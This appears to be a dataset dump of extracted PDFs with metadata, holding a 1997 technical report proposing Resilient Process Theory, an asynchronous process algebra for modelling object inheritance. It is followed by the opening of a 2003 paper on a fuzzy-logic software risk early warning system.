{"Source-Url": "https://www.cs.cit.tum.de/fileadmin/w00cfj/tcs/2022ws/afl/exam22-solution.pdf", "len_cl100k_base": 5687, "olmocr-version": "0.1.48", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 48105, "total-output-tokens": 6630, "length": "2e12", "weborganizer": {"__label__adult": 0.0007758140563964844, "__label__art_design": 0.0013399124145507812, "__label__crime_law": 0.0008606910705566406, "__label__education_jobs": 0.12139892578125, "__label__entertainment": 0.00043392181396484375, "__label__fashion_beauty": 0.0005145072937011719, "__label__finance_business": 0.0005636215209960938, "__label__food_dining": 0.0012636184692382812, "__label__games": 0.0031642913818359375, "__label__hardware": 0.00218963623046875, "__label__health": 0.0016574859619140625, "__label__history": 0.001354217529296875, "__label__home_hobbies": 0.00048279762268066406, "__label__industrial": 0.0016689300537109375, "__label__literature": 0.002552032470703125, "__label__politics": 0.0009126663208007812, "__label__religion": 0.0013608932495117188, "__label__science_tech": 0.387939453125, "__label__social_life": 0.000774383544921875, "__label__software": 0.0123138427734375, "__label__software_dev": 0.45361328125, "__label__sports_fitness": 0.0009398460388183594, "__label__transportation": 0.0012874603271484375, "__label__travel": 0.000461578369140625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 18052, 0.01872]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 18052, 0.75113]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 18052, 0.85052]], "google_gemma-3-12b-it_contains_pii": [[0, 672, false], [672, 2664, null], [2664, 3111, null], [3111, 3111, null], [3111, 4474, null], [4474, 5785, null], [5785, 6453, null], [6453, 8136, null], [8136, 8776, null], [8776, 11073, null], [11073, 11947, null], [11947, 12068, null], [12068, 12766, null], [12766, 13575, null], [13575, 13835, null], [13835, 15037, null], [15037, 17929, null], [17929, 18052, null], [18052, 18052, null], [18052, 18052, null]], "google_gemma-3-12b-it_is_public_document": [[0, 672, true], [672, 2664, null], [2664, 3111, null], [3111, 3111, null], [3111, 4474, null], [4474, 5785, null], [5785, 6453, null], [6453, 8136, null], [8136, 8776, null], [8776, 11073, null], [11073, 11947, null], [11947, 12068, null], [12068, 12766, null], [12766, 13575, null], [13575, 13835, null], [13835, 15037, null], [15037, 17929, null], [17929, 18052, null], [18052, 18052, null], [18052, 18052, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, true], [5000, 18052, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 18052, null]], "pdf_page_numbers": [[0, 672, 1], [672, 2664, 2], [2664, 3111, 3], [3111, 3111, 4], [3111, 4474, 5], [4474, 5785, 6], [5785, 6453, 7], [6453, 8136, 8], [8136, 8776, 9], [8776, 11073, 10], [11073, 11947, 11], [11947, 12068, 12], [12068, 12766, 13], [12766, 13575, 14], [13575, 13835, 15], [13835, 15037, 16], [15037, 17929, 17], [17929, 18052, 18], [18052, 18052, 19], [18052, 18052, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 18052, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
ef5e63eab8a72b7b38dcd33f361d8e8aa547fbeb
|
DEPARTMENT OF COMPUTER SCIENCE
Resilient Process Theory (RsPT)
P.N. Taylor
Technical Report No. 282
April 1997
Resilient Process Theory (RsPT)
P. N. Taylor.
Department of Computer Science, Faculty of Information Sciences,
University of Hertfordshire, College Lane, Hatfield, Herts. AL10 9AB. U.K.
Tel: 01707 284763, Fax: 01707 284303, Email: p.n.taylor@herts.ac.uk
April 8, 1997
Abstract
This short paper is intended to highlight the focus and direction of my research work to date. Its purpose is to illustrate the course of future studies that I intend to undertake during my last year of research, leading up to the submission of my Ph.D thesis in September 1997.
My research has concentrated upon the modelling of object-oriented communicating processes using process algebras. Behavioural reuse and the modification of process behaviour within an environment have been central to my research so far.
I have identified certain shortfall in the ability of current process algebras to model a system based on objects. Modelling inheritance between processes and maintaining the stability of communications between those processes has proved difficult given the facilities of existing process algebras. Process substitution and modification (via inheritance) can introduce deadlock into a previously stable system.
I propose a variant of process algebras that use an asynchronous communications model (known as Resilient Process Theory–RsPT). My theory permits the modelling of a stable object-oriented communicating system which can allow the behaviour of processes (viewed as objects) to be reused and extended. Processes in my proposed formal model are less likely to fail if synchronising communications do not occur. A resilient process can continue to execute provided that inputs to the process are still available; outputs do not affect a process's ability to execute as these are placed in a buffer of infinite size.
Introduction
My research work has concentrated upon the specification of communicating systems which have an underlying object-oriented model. I am specifically interested in the behavioural reuse and modification of processes in a communicating system. Particularly with the exchange of a process for a new version of itself (via some form of inheritance) whilst maintaining the stability of both the process and the system being modified.
So far, my research has shown that existing mainstream process algebras, such as Milner’s CCS [9] and Hoare’s CSP [4], do not contain the declarative power to enable them to model objects and inheritance. For example, a class definition in CSP is not abstract, it is visible and can be treated as any other process. The ability to access an abstract definition differs from that of a pure object-oriented view of a class where access is restricted to only instances of a class. Consequently, child processes do not contain a copy of their parent’s behaviour. Instead, that behaviour is referenced via inter-process communication. To attempt to capture the pure object-oriented view of inheritance this communication between parents and their siblings must be restricted from the view of the environment. This restriction is required to stop any influences that the environment might have over such inter-process communications.
Modelling inheritance in existing process algebras has, so far, only been done by process reference rather than by an implied knowledge of the behaviour of the parent process, as passed down to the child. Therefore, the parent and child are treated as separate entities. In an example with multiple child processes each child will explicitly reference the behaviour of its parent, causing delays in the responsiveness to every other child as the parent is bound to each child until it terminates its current sequence of actions. Object-oriented design and implementation does not operate in such a way as each child contains a copy of the information of the parent. From my research, it is clear that existing process algebra’s attempts to model inheritance do not offer a clear representation of either objects or inheritance.
During my research I have identified three different types of inheritance that I would like to model in a process algebra.
1. Strict Inheritance. The straightforward copying of behaviour and the extension of choice within an existing process definition. Process $P \overset{\text{def}}{=} a.b.c.P + d.e.\emptyset$ and process $Q \overset{\text{def}}{=} P + j.k.l.Q$. The rules governing a process algebra’s attempts to model strict inheritance are given by Rudkin in his theory of objects and inheritance in LOTOS ([11, p.413]), a
formal language for specifying network protocols that is derived from both CCS and CSP [5].
Note that $Q$ will need to modify the recursive process references at the end of each action sequence for it to offer those actions again. To solve the recursion problem Rudkin also introduces \texttt{self} as a generic variable that is instantiated with the name of the process’s calling function [11, p.416]. Without \texttt{self} $Q$ would perform the actions of $P$ and then be trapped in the recursion defined in the original specification of $P$, being unable to offer any further actions of $Q$. The revised process definitions for $P$ and $Q$ are therefore: $P \xleftarrow{\text{def}} a.b.c.self + d.e.\emptyset$ and process $Q \xleftarrow{\text{def}} P + j.k.l.self$
2. Casual Inheritance. The ability to insert new behaviour into an existing sequence of actions defined as a branch of behaviour in a parent process. Process $P \xleftarrow{\text{def}} a.b.c.self + d.e.\emptyset$ and process $Q \xleftarrow{\text{def}} P[\emptyset/f.g.self]$, such that the full definition of $Q$ is now $Q \xleftarrow{\text{def}} a.b.c.self^* + d.e.f.g.self^*$. Note*: \texttt{self} is again used to solve the problem of recursion in behavioural inheritance. Action renaming is used in this example to show that $\emptyset$ is replaced by $f.g.self$. However, at this time no formal definition of casual inheritance exists. Renaming is used in this example as a brief guide to the requirements of casual inheritance without expressing exactly how it is to be achieved.
3. Transitive Inheritance. Process $P \xleftarrow{\text{def}} a.b.c.self + d.e.\emptyset$ and process $Q \xleftarrow{\text{def}} P + j.k.l.self$. Therefore, process $R \xleftarrow{\text{def}} Q$ also inherits the behaviour of $P$ by the definition of transitivity over process behavioural inheritance. The ROOA method [10] develops an object-oriented model for LOTOS specifications to adopt. However, due to the restriction in LOTOS that parent (superclass) processes must provide exit functionality and child processes must not there is no allowance for a LOTOS process in ROOA to straddle both a parent and child class definition, being the parent of one process and child of another (as $Q$ is defined to be above). A LOTOS process cannot be defined to have both \texttt{exit} and \texttt{noexit} functionality.
Therefore the ROOA method breaks down if transitive inheritance is attempted.
My research interests, w.r.t the reuse of process behaviour by capturing inheritance, have highlighted further problems aside from the unsatisfactory modelling of inheritance.
The stability of a system which substitutes parent for child processes is another facet of my research which has grown out of the original problems associated with process behavioural inheritance (as described above).
Behavioural reuse by substituting $P$ for $Q$ can lead to an unstable system as a result of the substitution. Process $Q$ may fail to synchronise with some other process $R$ that the previous parent process $P$ did not originally synchronise with. In effect, $Q$ extends the behaviour of $P$ by requesting a synchronisation with $R$ and at the same time also weakens the system. Let us assume that $R$ is busy or has failed. Consequently, at some time later in the execution of the system $Q$ must wait for $R$; a situation that did not occur in the original system. Process $Q$ suddenly has the power to crash the entire system by influencing processes that are not party to its own failed communications.
According to the definition of conformance, which Rudkin states is the criteria processes must meet in order to be deemed as suitable replacements ([11, p.412]), process $Q$ is a valid replacement for $P$. Conformance states that one process may be substituted for another, in a system where the first process was expected, if (and only if) the replacement process fails to offer certain actions that the original process also failed to offer. Formalisation of the conformance law is now presented [1, p.11]:
**Definition 1 Conformance**
Let $Q$ and $P$ be processes.
$(Q \text{ conf } P)$ iff
$$\forall s \in \text{Traces}(P), \forall A \subseteq L(P) \quad \text{if } Q' \bullet \forall a \in A \bullet Q \xrightarrow{a} Q' \xrightarrow{a} \quad \text{then } \exists P' \bullet \forall a \in A \bullet P \xrightarrow{a} P' \xrightarrow{a}$$
If $Q$ fails to offer an action $a$ (after sequence $s$) then $P$ must also fail to offer the same action $a$ (after the same sequence $s$).
From the previous argument, $Q$ has brought instability to the system even though it was a valid substitution for $P$. It is not possible to predict the effect that modifying or reusing a process may have on the system therefore a solution to maintaining system stability must be found.
My research is aimed at finding a solution to the problem of modelling reuse and inheritance whilst still maintaining the stability of the system within which the modified processes reside. I argue that it should be possible to replace processes with new versions of themselves with (possibly) more behaviour without altering the stability of the system if extensions to the original behaviour of the system should fail. Within certain criteria the original behaviour of the system should still prevail regardless of the fragility of any newly inserted behaviour.
1 Process Algebra with Synchronous Communications
The standard process algebra model of communication, as used by CCS and CSP, is synchronous communication carried out between processes brought together under parallel composition over common channels shared between those processes. The synchronisation of channels in a system which attempts to capture inheritance forces the failure of that system if the extended behaviour of a new substituting process fails. The failure being due to a failed synchronisation. Any process that is not ready to synchronise on a common channel in the parallel composition of the communicating processes will cause any other process in the composition to wait. When all of the processes are in the same state (i.e: ready to communicate on a common channel) then they will all communicate together; hence synchronisation.
In the system $(P \parallel Q \parallel R)$, if process $R$ is busy then $P$ and $Q$ will both wait for $R$. As you can see, $R$ can effectively hold up both $P$ and $Q$. If $R$ has failed then, consequently, $P$ and $Q$ will wait indefinitely.
The main problem with existing process algebras is that their reliance upon synchronous communications does not lend itself to modelling a system where modification and extension is possible. In an object-oriented system the possibility of change is high as new child processes are introduced to supplant their parents. Clearly, a model of communications that is less susceptible to failed synchronisations between processes is required.
2 Asynchronous Process Communications
To solve the problem of synchronous communications reducing the stability of object-oriented communicating systems I have researched the applicability of existing asynchronous process algebras. To date, two theories for asynchronous communications have been reviewed; both theories being derived from the language of CSP. These theories are entitled “The Theory of Asynchronous Processes” (APT) [8] and “Receptive Process Theory” (RPT) [7]. Incidentally, RPT evolved from the work by Dill on speed independent circuits [2]. A process in both APT and RPT is modelled with an unbounded (infinite) buffer on both its input and output channels.
Due to their common heritage both APT and RPT can be converted into CSP processes by simply removing their unbounded buffers, enabling the rich facilities of the CSP language to be applied to those processes.
A process algebra based on an asynchronous communications model offers the ability to
communicate between processes and the environment without requiring the target of those communications being (necessarily) available.
By using the concept of unbounded buffers on their input and output channels APT and RPT effectively surround each process with a buffer. Each process then synchronises with this buffer rather than synchronising explicitly with other processes. Being of infinite size the buffer of an asynchronous process is always ready to accept a communication (hence the name given to receptive processes as they are always capable of receiving input; they are always receptive).
APT and RPT processes can talk or listen on their I/O channels without requiring other processes in the parallel composition being ready to receive the communications. Therefore, both APT and RPT processes are not affected by a failed synchronisation between communicating processes.
A problem with the existence of unbounded buffers on both input and output channels is that an explicit synchronisation between processes is no longer possible. There is no direct contact between processes if buffering is used on both input and output channels; all communications have to go through the buffers. Therefore, neither APT nor RPT can provide an explicit synchronisation between processes (unless it is through the ordering of their buffer's action traces).
A trace of a process is an ordered sequence of visible communications between the process and its environment. The ordering of communications of a process is found in the trace of that process.
The reordering of these traces may be necessary as synchronisation may be required between two processes (via their buffers). Note that explicit synchronisation between processes does not take place in either APT or RPT as the buffers form a shield around each process. Reordering the trace elements of a process shifts inputs left and outputs right and states that two trace elements denoting the same channel must remain ordered (to enforce channel ordering rather that trace element ordering) [8, p.6]. For example, \( (b.w, a.v) \sqsubseteq (a.v, b.w) \) denotes that message \( w \) on channel \( b \), followed by message \( v \) on channel \( a \) is reordered by the new trace \( (a.v, b.w) \). The reader should be aware that the ordering of a trace has some part to play in the (implicit) synchronisation of APT and RPT processes.
3 Resilient Process Theory
The main thrust of my research will be aimed at providing a mathematical model of asynchronous communications that attempts to offer more overall flexibility than those currently in use. My proposed communications model only buffers the output channels of a process and is called "Resilient Process Theory" (RsPT).
I propose to modify the theories of APT and RPT in order to produce RsPT. One topic for further discussion is the nature of the buffers that I intend to introduce into RsPT. At present the use of multi-sets seems to allow more flexibility than traces (i.e. sequences) as the ordering and reordering of the trace elements will not be necessary. The cost of using a multi-set over a trace is that CSP trace theory, that both APT and RPT are based upon, will cease to be applicable. I must therefore decide which model to adopt and what consequences this design decision will have on RsPT’s design. Much of the work on CSP failures sets (i.e. traces and refusal sets), which characterise an asynchronous process in APT, will be void if a multi-set is used.
Using a multi-set will avoid the problems of reordering traces, with its influence on synchronisation between processes and their buffers. However, what I might gain on one hand with multi-sets as buffers I may easily lose should the underlying CSP theory fall apart once traces are removed. Clearly the decision to use multi-sets will have many repercussions for the remaining mathematical model.
3.1 Buffered Process Communication
There are three ways of representing buffers in a process, dependent upon the location of the buffers themselves. The notation used to represent specific buffers is the open/close square bracket symbol ([ ]). Use of this symbol allows process actions to be included within the buffer if necessary, to show any contents prior to synchronisation (e.g: \( \langle \! [a] \| a.Q[b] \rangle \)), where \( P \) and \( Q \) will synchronise on channel \( a \) and evolve to \( \langle \! [ ] \| Q[b] \rangle \)). Reference to a general buffer for a process uses the following notation (as seen in section 5 of this paper): \( P_bP \) or \( Q_bQ \). Operations on the contents of a buffer can then be performed on \( bP \), where \( p \) represents any process.
The three separate views of buffered processes can be defined as follows:
1. **Buffered input and output channels on a process** - as defined in both APT and RPT [7, p.1] and written formally as \( \langle \! [P] \rangle \). Using the parallel composition operator \( \| \), an expression of the form \( \langle \! [P] \| [C] \| [Q] \rangle \) states that \( P \) and \( Q \) will engage in undirected communications
on common channels found in both their alphabet and the set \( C \). Expressed formally in the CSP text as follows \([4, p.72]\):
\[
\text{traces}(P \parallel Q) = \{ t \mid (t \upharpoonright \alpha P) \in \text{traces}(P) \land (t \upharpoonright \alpha Q) \in \text{traces}(Q) \land t \in (\alpha P \cup \alpha Q)^* \}
\]
The buffers of each process synchronise with the process itself and consequently have the same alphabets. Therefore, \( \alpha_i P \equiv \alpha P \equiv \alpha_o P \), where \( \alpha_i P \) denotes the input buffer for process \( P \) and \( \alpha_o P \) denotes the output buffer of \( P \).
2. The second type of process buffering, as yet unused by any of the reviewed asynchronous process algebras, is buffered input channels and unbuffered output channels. Represented formally as \( [P] \) and written using the parallel composition operator as \( ([P] \parallel [Q]) \). Only the input channels of an input buffered process are receptive. Buffered input entails that a process can continuously listen to the environment but must explicitly synchronise with other processes on output communications.
The main disadvantage of this type of buffering is that although a process may listen indefinitely it must still wait if another process is not ready to receive any of its output communications. Were we to use this particular type of buffering then the problem of an unavailable process further down the line holding up the current process would still prevail. Therefore, we do not consider this type of buffer configuration further.
3. Finally, the buffer configuration for RsPT is defined. RsPT uses unbuffered input channels and buffered output channels on each process. We can show this buffer organisation formally as \( P[] \). Using parallel composition we write \( (P[] \parallel Q[]) \). Again, common channels define synchronise points between processes, brought together under parallel composition. A process with the form \( P[] \) may continually send messages to its unbounded output buffer. If \( P \) requests synchronisation on input then the sending process must be available for the communication to take place. \( P \) must also be ready to receive the communication. Therefore, we can enforce synchronisation with other processes by demanding that they communicate directly with the process on input, rather than with its buffer (as is the case with APT and RPT).
The advantage of RsPT over both APT and RPT is that my communications model allows a process to continue to execute if the target of the communication fails to respond. It seems logical
to model communications between processes so that they must wait if there is no response from
the sender and are not concerned if the receiver of a communication fails to respond.
4 Summary
Existing process algebras do not model faithfully either objects or inheritance. From my research
it it clear that any attempt to modify an existing system by replacing processes with their inher-
ited counterparts has the potential to render that system more unstable than it was originally.
Consequently, the modified system is more likely to fail.
One key issue that my research has identified has been the ability of a new process to influence
the stability of an entire system, simply by substituting one process for its inherited child.
Part of the problems associated with modelling object-oriented communicating systems with
existing process algebras is their use of synchronous communications to effect inter-process com-
munication. A partial alleviation of this communications problem can be addressed by using
process algebras with an asynchronous communications model. However, because existing asyn-
chronous process algebras, like APT [8, 6] and RPT [7], use unbounded buffers on both input
and output channels it is not possible to guarantee explicit synchronisation between processes,
should they be required. Asynchronous processes synchronise with their buffers in a buffered
input/output model, not each other. Inter-process communication in this case is implicit rather
than explicit.
My proposed solution to the problem of a totally buffered system of processes is to introduce a
refinement of APT and RPT; known as RsPT for “Resilient Process Theory”. An RsPT process
buffers its output channels only which gives it the flexibility to send messages to a process that
may be unavailable to communicate without having to wait itself. Also, messages requested
from other processes (taken as input to the RsPT process) will be synchronised directly with the
buffer of the sending process. Should the sender be unavailable then the RsPT process will wait.
The organisation of buffered output channels lends itself to a more resilient model for process
communications, hence the name of the proposed theory.
Finally, rather than adopt a traces model (i.e: ordered sequences) for the visible communi-
cations of a process I am researching the use of a multi-set to replace the trace as the internal
structure for the buffers. The multi-set will yield more flexibility as the reordering of trace ele-
ments will no longer be necessary, as it is in APT [8, p.4]. The contents of the multi-set can then
be interrogated by using standard set operations.
5 Future Work
With the identification of a suitable communications model my task becomes clear. A firm mathematical foundation for the theory behind RsPT must be developed in order to provide a formal language that allows object-oriented communicating systems to be modelled faithfully. I hope to be able to derive much of what is required from the existing models used in APT, RPT and CSP. It would be useful to maintain much of the existing underlying theory as the CSP foundations from which the theory is derived is consistent, complete, robust and well known. It is not my intention to have to reinvent much of the what will be required in order to capture formally RsPT.
An operational and denotational semantics for RsPT must be drawn up to give me a firm mathematical foundation for the language. Further research is necessary in order to determine the depth to which the theoretical foundation of RsPT needs to be captured. Using computation semantics, Hennessey's name for operational semantics ([3, p.30]), reduction rules for RsPT, derived from the following first draft, will be required. Note that references to general buffers for processes $P$ and $Q$ are used (i.e: $Pb_P$ and $Qb_Q$, instead of $P[]$ and $Q[]$).
The following mathematical structure is introduced as a model for the structure of the buffers to be used in RsPT. Using the alphabet of a process ($\alpha P$) as the domain of a relation, a partial function between a channel from $\alpha P$ and a sequence of values is defined.
For example: $\alpha P = \{a, b, c, d\}$
$$b_P = \{a \mapsto \langle v, w \rangle, b \mapsto \langle x, y \rangle, c \mapsto \langle z \rangle, d \mapsto \langle \rangle\}$$
The invariant for the contents of $b_P$ is given as:
$$\text{dom } b_P = \alpha P$$
Note that the initial sequence of values for a channel can be empty, as it is in the example for $b_P(d)$. In RsPT it is possible to explicitly synchronise on a channel without passing a value along that channel (see rule 5 below). The signature of $b_P$ is given as:
$$b_P : \text{Channel } \rightarrow \text{seq Value, where Channel } = \alpha P$$
Value is informally defined to be any value (i.e: message) sent along a channel.
Standard set operations are defined upon the elements of \( bp \). Standard sequence operations are defined upon \( \text{ran} \, bp \).
Two macro operations on sequences are used to extract the correct sequence elements mapped to by a specific channel: \( \text{first} \) (i.e: oldest item in a sequence) and \( \text{last} \) (i.e: newest item in a sequence). FIFO queuing of sequences is assumed, therefore the oldest item is the far right item in the sequence and the newest item is far left. Function axioms for these two new operations on sequences are defined as follows:
\[
\begin{align*}
\text{first} : \text{seq}_1 X & \rightarrow X \\
\forall s : \text{seq}_1 X \bullet \text{first}(s) = s(\#s)
\end{align*}
\]
\[
\begin{align*}
\text{last} : \text{seq}_1 X & \rightarrow X \\
\forall s : \text{seq}_1 X \bullet \text{last}(s) = \text{head}(s)
\end{align*}
\]
A labelled transition system for RsPT can now be defined. The following rules govern the communication of channel/value pairs from within a process to its output buffer and between processes.
1. Internal communication from a process’s action sequence to its output buffer \((P \rightarrow Pb_P)\) is defined as follows:
\[
c!v.Pb_P \xrightarrow{c,v} Pb_P \oplus \{c \mapsto \langle v \rangle \} \uplus b_P(c)
\]
2. Inter-process communication (IPC) between the output buffer of \( P \) and \( Q \) \((Pb_P \rightarrow Q)\) is defined as follows:
\[
Pb_P \parallel c?v.Qb_Q \xrightarrow{c,v} Pb_P \oplus \{c \mapsto \langle b_P(c) \setminus \text{first}(b_P(c)) \rangle \} \parallel Qb_Q
\]
If \( c \in \text{dom} b_P \land \text{first}(b_P(c)) = v \)
- Incidentally, the expression \( \{c \mapsto \langle b_P(c) \setminus \text{first}(b_P(c)) \rangle \} \) can be written in extension as \( \{c \mapsto b_P(c) \setminus \{ \#b_P(c) \mapsto b_P(\#b_P(c)) \} \} \). For reasons of brevity the extended version of the sequence replacement expression is not used.
3. Communication between the output buffer of \( Q \) and the input buffer of \( P \) \((Qb_Q \rightarrow P)\) is defined as:
\[
c?v.Pb_P \parallel Qb_Q \xrightarrow{c,v} Pb_P \parallel Qb_Q \oplus \{c \mapsto \langle b_Q(c) \setminus \text{first}(b_Q(c)) \rangle \}
\]
If \( c \in \text{dom} b_Q \land \text{first}(b_Q(c)) = v \)
4. Communications between both of the output buffers of communicating processes P and Q (PbP ↔ QbQ) is defined as:
\[
c ? v . P b P \parallel d ? w . Q b Q \xrightarrow{c,v,d,w} P b P \oplus \{ d \mapsto (b_P(d) \setminus \text{first}(b_P(d)))\} \parallel Q b Q \oplus \{ c \mapsto (b_Q(c) \setminus \text{first}(b_Q(c)))\}
\]
If \(d \in \text{dom } b_P \land \text{first}(b_P(d)) = w\) \(\land (c \in \text{dom } b_Q \land \text{first}(b_Q(c)) = v)\)
5. Unparameterised synchronisation between processes (i.e. no value passing) can also be defined in RsPT simply by passing the channel name and no value (represented by \(\emptyset\)) between communicating processes:
\[
P b P \parallel c . Q b Q \xrightarrow{c,d} P b P \parallel Q b Q
\]
If \(c \in \text{dom } b_P \land b_P(c) = \emptyset\)
By convention, the symbol \(\emptyset\) can be dropped in the previous expression, yielding \(\xrightarrow{c}\) in future.
A simple (first draft) set of operational semantics of RsPT has now been presented. Clearly, more work is required to complete the mathematical theory which, it is hoped, will provide a suitably flexible communication model to help solve the inheritance issues that underlie this research.
The choice of amendments to the existing theories of APT and RPT, in view of the traces model, will need to be considered. One main difference between APT and RsPT is the idea of modelling a buffer as a multi-set, rather than a trace. The failures model of CSP, as used by APT, will need to be modified (if possible) to incorporate the multi-set view. As yet it is not clear whether a multi-set will decrease the stability of the existing traces model. So far a set-based model which maps channels to sequences of actions has been proposed. The ordering of the elements within these sequences can imply strict synchronisation.
As soon as the mathematical theory behind RsPT has been developed I expect to apply it to specific case studies taken directly from the work done with BAe on the EMBLEM project (Empirical Man-in-the-loop Battalion-level Effectiveness Model). Results from the application of RsPT to the complexities of example EMBLEM engagements will be evaluated to show the benefits of the theory of RsPT and will form part of the completed research thesis.
References
|
{"Source-Url": "https://uhra.herts.ac.uk/bitstream/handle/2299/5139/CSTR%20282.pdf?isAllowed=y&sequence=1", "len_cl100k_base": 6715, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 14966, "total-output-tokens": 7974, "length": "2e12", "weborganizer": {"__label__adult": 0.0004813671112060547, "__label__art_design": 0.00055694580078125, "__label__crime_law": 0.0005741119384765625, "__label__education_jobs": 0.003910064697265625, "__label__entertainment": 0.00015282630920410156, "__label__fashion_beauty": 0.0002512931823730469, "__label__finance_business": 0.0005812644958496094, "__label__food_dining": 0.0005688667297363281, "__label__games": 0.00069427490234375, "__label__hardware": 0.0015201568603515625, "__label__health": 0.00133514404296875, "__label__history": 0.0005431175231933594, "__label__home_hobbies": 0.0002301931381225586, "__label__industrial": 0.0008993148803710938, "__label__literature": 0.0009522438049316406, "__label__politics": 0.0004787445068359375, "__label__religion": 0.0007271766662597656, "__label__science_tech": 0.303466796875, "__label__social_life": 0.0002880096435546875, "__label__software": 0.007122039794921875, "__label__software_dev": 0.6728515625, "__label__sports_fitness": 0.0004260540008544922, "__label__transportation": 0.001064300537109375, "__label__travel": 0.00022733211517333984}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31510, 0.01552]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31510, 0.41079]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31510, 0.90554]], "google_gemma-3-12b-it_contains_pii": [[0, 115, false], [115, 1938, null], [1938, 4671, null], [4671, 7517, null], [7517, 10067, null], [10067, 12585, null], [12585, 14982, null], [14982, 17689, null], [17689, 20299, null], [20299, 22911, null], [22911, 25171, null], [25171, 27446, null], [27446, 29733, null], [29733, 31510, null]], "google_gemma-3-12b-it_is_public_document": [[0, 115, true], [115, 1938, null], [1938, 4671, null], [4671, 7517, null], [7517, 10067, null], [10067, 12585, null], [12585, 14982, null], [14982, 17689, null], [17689, 20299, null], [20299, 22911, null], [22911, 25171, null], [25171, 27446, null], [27446, 29733, null], [29733, 31510, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31510, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31510, null]], "pdf_page_numbers": [[0, 115, 1], [115, 1938, 2], [1938, 4671, 3], [4671, 7517, 4], [7517, 10067, 5], [10067, 12585, 6], [12585, 14982, 7], [14982, 17689, 8], [17689, 20299, 9], [20299, 22911, 10], [22911, 25171, 11], [25171, 27446, 12], [27446, 29733, 13], [29733, 31510, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31510, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
078bd6969eaf17a73b129b9f2013c3dec51ba22e
|
An intelligent early warning system for software quality improvement and project management
Xiaoqing Frank Liu
Missouri University of Science and Technology, fliu@mst.edu
Gautam Kane
Monu Bambroo
Follow this and additional works at: http://scholarsmine.mst.edu/faculty_work
Part of the Computer Sciences Commons
Recommended Citation
Liu, Xiaoqing Frank; Kane, Gautam; and Bambroo, Monu, "An intelligent early warning system for software quality improvement and project management" (2003). Faculty Research & Creative Works. Paper 800.
http://scholarsmine.mst.edu/faculty_work/800
This Article - Conference proceedings is brought to you for free and open access by Scholars' Mine. It has been accepted for inclusion in Faculty Research & Creative Works by an authorized administrator of Scholars' Mine. For more information, please contact weaverjr@mst.edu.
An Intelligent Early Warning System for Software Quality Improvement and Project Management
Xiaoqing (Frank) Liu
Dept. of Comp. Sci.
Univ. of Missouri-Rolla
fliu@umr.edu
Gautam Kane
Dept. of Comp. Sci.
Univ. of Missouri-Rolla
gsk67@umr.edu
Monu Bambroo
Dept. of Comp. Sci.
Univ. of Missouri-Rolla
mrbx97@umr.edu
Abstract
One of the main reasons behind unfruitful software development projects is that it is often too late to correct the problems by the time they are detected. It clearly indicates the need for early warning about the potential risks. In this paper, we discuss an intelligent software early warning system based on fuzzy logic using an integrated set of software metrics. It helps to assess risks associated with being behind schedule, over budget, and poor quality in software development and maintenance from multiple perspectives. It handles incomplete, inaccurate, and imprecise information, and resolve conflicts in an uncertain environment in its software risk assessment using fuzzy linguistic variables, fuzzy sets, and fuzzy inference rules. Process, product, and organizational metrics are collected or computed based on solid software models. The intelligent risk assessment process consists of the following steps: fuzzification of software metrics, rule firing, derivation and aggregation of resulted risk fuzzy sets, and defuzzification of linguistic risk variables.
1. Introduction
1.1 Background
